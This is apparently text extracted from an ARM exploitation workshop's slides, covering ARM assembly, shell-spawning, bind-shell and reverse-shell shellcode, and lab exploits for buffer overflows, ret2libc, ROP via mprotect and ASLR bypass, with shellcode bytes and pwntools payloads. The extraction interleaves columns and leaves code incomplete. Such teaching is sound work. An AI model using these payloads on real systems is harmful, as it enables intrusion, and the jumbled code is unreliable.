Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Andrea Sindoni
@invictus1306
Twitter: @invictus1306
Exploit
Tools introduction (pwntools, ROPGadget)
Modify the value of a local variable (stack1) + LAB4
Vulnerability mitigations
Ret to libc - Bypass NX and execute a shell with a single
ROP gadget (stack_sh) + LAB5
Bypass NX with ROP using mprotect (stack_mprotect) +
LAB6
ASLR
Bypassing NX and ASLR (stack_aslr) + LAB7
6
ARM architecture
ARM (Advanced RISC Machines)
[26:25] IT[1:0] If-Then execution state bits for the Thumb IT (If-Then) instruction
[24] J Jazelle bit
[19:16] GE Greater than or Equal flags
[15:10] IT[7:2] If-Then execution state bits for the Thumb IT (If-Then) instruction
We will see only the most used ARM instructions, with practical examples
BL func1 CODE32
… … For BLX just replace:
func1: MOV lr, pc @ save return address MOV lr,pc and BX r0
… BX r0 @ r0=addr of func1 with:
MOV pc, lr @return CODE16 BLX r0
func1:
…
BX lr @ return
[1] https://people.cs.clemson.edu/~rlowe/cs2310/notes/ln_arm_load_store_plus_multiple_transfers.pdf
.text .text
.global _start .global _start
_start: _start:
add r1, pc, #12 @relative addressing adr r1, shell @ adr instruction
mov r0, #1 @ fd mov r0, #1 @ fd
mov r2, #12 @ nbytes mov r2, #12 @ nbytes
mov r7, #4 @ write syscall mov r7, #4 @ write syscall
swi 0 swi 0
shell: .asciz "hello world" shell: .asciz "hello world "
18
Debugging on ARM system
In this section we will see how to debug a very simple application,
the purpose of this is also to become familiar with the environment
This is the program (debugme.s) to compile and debug
.text
.global _start as –o debugme.o debugme.s
ld -o debugme debugme.o
_start:
mov r0, #1 @ stdout
ldr r1, =string @ string address
ldr r2, =len @ string length
mov r7, #1 @ write syscall number is 4 not 1
swi 0 @ execute syscall
_exit:
mov r7, #1 @ exit syscall
swi 0 @ execute syscall
gdb> r
gdb> stepi 4
0x00010084 in _start ()
…
0x1007c <_start+8> mov r2, #14
0x10080 <_start+12> mov r7, #1
-> 0x10084 <_start+16> svc 0x00000000
…
22
shellcode
We will see
System calls introduction
exit system call
Shell spawning shellcode (ARM/Thumb)
Bind TCP shellcode (ARM)
Reverse shell shellcode (ARM)
NAME
syscall - indirect system call
…
DESCRIPTION
syscall() is a small library function that invokes the system call whose assembly language interface has the specified number with
the specified arguments. Employing syscall() is useful, for
example, when invoking a system call that has no wrapper function in the C library.
$ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h
Register Value
execve("/bin/sh", 0, 0)
We have to:
• Find the execve system call number – We already know how to do it
• Fill the argument of the execve syscall
Register Value
R0 address of /bin/sh
R1 0
R2 0
R7 11
28
Solution
Shell spawning shellcode - Solution
Remember that the CPU
.text
fetches two instructions
.text
.global _start
in advance .global _start
_start:
_start:
@ execve("/bin/sh",["/bin/sh", 0], 0)
@ execve("/bin/sh", 0, 0)
add r0, pc, #28 @PC-relative addressing
adr r0, shell
mov r2, #0
mov r1, #0 @ argv=NULL
push {r0, r2}
mov r2, r1 @ envp=NULL
mov r1, sp
mov r7, #11 @ execve syscall
mov r7, #11
swi 0
swi 0
_exit:
_exit:
mov r0, #0
mov r0, #0
mov r7, #1
mov r7, #1
swi #0 @ exit
swi #0 @ exit
shell: .asciz "/bin/sh"
shell: .asciz "/bin/sh"
We have to:
• Create a socket (TCP)
• Bind the created socket to an address/port
• Use syscall listen for incoming connections
• Use syscall accept
• Use dup2 syscall to redirect stdin, stdout and stderr
• Use the execve syscall
R2 protocol 0
Let’s look at how to call the listen syscall with its corresponding
parameters
Let’s look at how to call the accept syscall with its corresponding
parameters
_sh:
.asciz "/bin/sh"
.align 2
38
Solution
Bind TCP Shellcode - Solution
Workshop/shellcode/solutions/bind/bind.s
Verify it
Raspberry
Host machine
We have to:
• Create a socket (TCP)
• Connect to a IP/port
• Use dup2 syscall to redirect stdin, stdout and stderr
• Use the execve syscall
Let’s look at how to call the socket syscall with its corresponding
parameters
It return a socket fd
socket(int socket_family, int socket_type, int protocol);
R2 protocol 0
R1 addr
R2 addrlen 16
R7 syscall number 283
_sh:
.asciz "/bin/sh"
.align 2
44
Exploits
In this part, I will present just an introduction to exploit
development, I will cover the following topics:
#include <stdio.h>
Never true, the check
char pwdSecret[] = "stack123!";
variable value is 0
void print_secr(){
printf("Password is %s\n", pwdSecret);
}
int check=0;
char buffer[32];
gets(buffer);
There is a way to bypass it?
if(check == 0x74696445) {
print_secr();
}else{
printf("No password to show\n");
}
}
stack
…
So if we write a
AAAAAAAAAAAAAA
buffer greater
AAAAAAAAAAAAAA
than 32 we will
AAAA
overwrite the
check local
AAAA
variable.
Saved Frame Pointer
Return pointer
…
49
solution
Exploit stack1- Solution
• Exploit from shell
• Python exploit
Workshop/exploits/solutions/stack1/stack1_exploit.py
#!/usr/bin/env python2
ip = "192.168.1.100"
port = 22
user = “user1"
pwd = “pass1"
sh = shell.run('/home/user1/Workshop/exploits/stack1/stack1')
payload = "A"*32
payload += p32(0x74696445)
system(“/bin/sh”)
In x86 (32 bit) the parameters of the function are passed onto the
stack only, by overwriting the stack using buffer overflow
techniques
In our case we have to fill the r0 register before (with the address of
/bin/sh), and then give the control to our desired libc function
(system())
We need to:
• Load the address of /bin/sh into r0
• Jump to the system function
echo 0 >/proc/sys/kernel/randomize_va_space
You have to write this exploit but for sure I give you some suggestion
56
Solution
Vulnerability mitigations - Ret to libc - Solution
• Python exploit
Workshop/exploits/solutions/stack_sh/stack_sh_exploit.py
from pwn import *
libc = ELF('/home/arm/Workshop/exploits/gadgets/libc-2.24.so')
gadget_offset = 0x0007753c
libc_base = 0x76e65000
sh = shell.run('/home/user1/Workshop/exploits/stack_sh/stack_sh')
payload = "A"*20
payload += p32(gadget_address) # gadget address - pop {r0, r4, pc}
payload += p32(shell_address) # r0 - address of /bin/sh
payload += p32(0x42424242) # r4 - not important
payload += p32(system_address) # pc - system address
sh.sendline(payload)
void copy_shellcode(){
char shellcode[] =
"\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05
\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00
\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\
xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
char *heap_shellcode;
heap_shellcode = malloc(sizeof(shellcode));
memcpy(heap_shellcode, shellcode, sizeof(shellcode));
}
stack
void exploit_me(){
char buf[64];
gets(buf);
}
From the Linux man page we can see the mprotect usage
MPROTECT(2) Linux Programmer's Manual
MPROTECT(2)
NAME
mprotect - set protection on a region of memory
SYNOPSIS
#include <sys/mman.h>
DESCRIPTION
mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the
interval [addr, addr+len-1]. addr must be aligned to a page boundary.
…
…
gadget3 – jmp to
buff the shellcode
heap_shellcode
Saved Frame Pointer
Return pointer …
…
gadget2 - mprotect
gadget1 – set LR to
gadget3 In the mprotect epilogue there is the
return instruction: “bx lr”
…
…
buff
gadget3 – pop {r0, r1, r2, r6 pc}
Saved Frame r0 = not important
r1 = not important heap_shellcode
Pointer
r2 = not important
Return pointer r6 = not important
pc = shellcode address
…
…
63
Solution
Vulnerability mitigations – ROP - Solution
• Python exploit
Workshop/exploits/solutions/stack_mprotect/stack_mprotect_exploit.py
• Run it
static int arr[10] = {0, 4, 7, 12, 6, 33, 19, 79, 54, 57};
It was compiled as
void exploit_me(){ gcc –pie –fPIE -o stack_aslr stack_aslr.c
char input[16];
printf("Overflow it!\n");
}
scanf("%s", input); PIE = Position Independent Code
int main(){
int num;
printf("Select the index of the element that you want to read: \n");
return 0;
}
71
Solution
ASLR - Solution
• Python exploit
Workshop/exploits/solutions/stack_aslr/stack_aslr_exploit.py
• Run it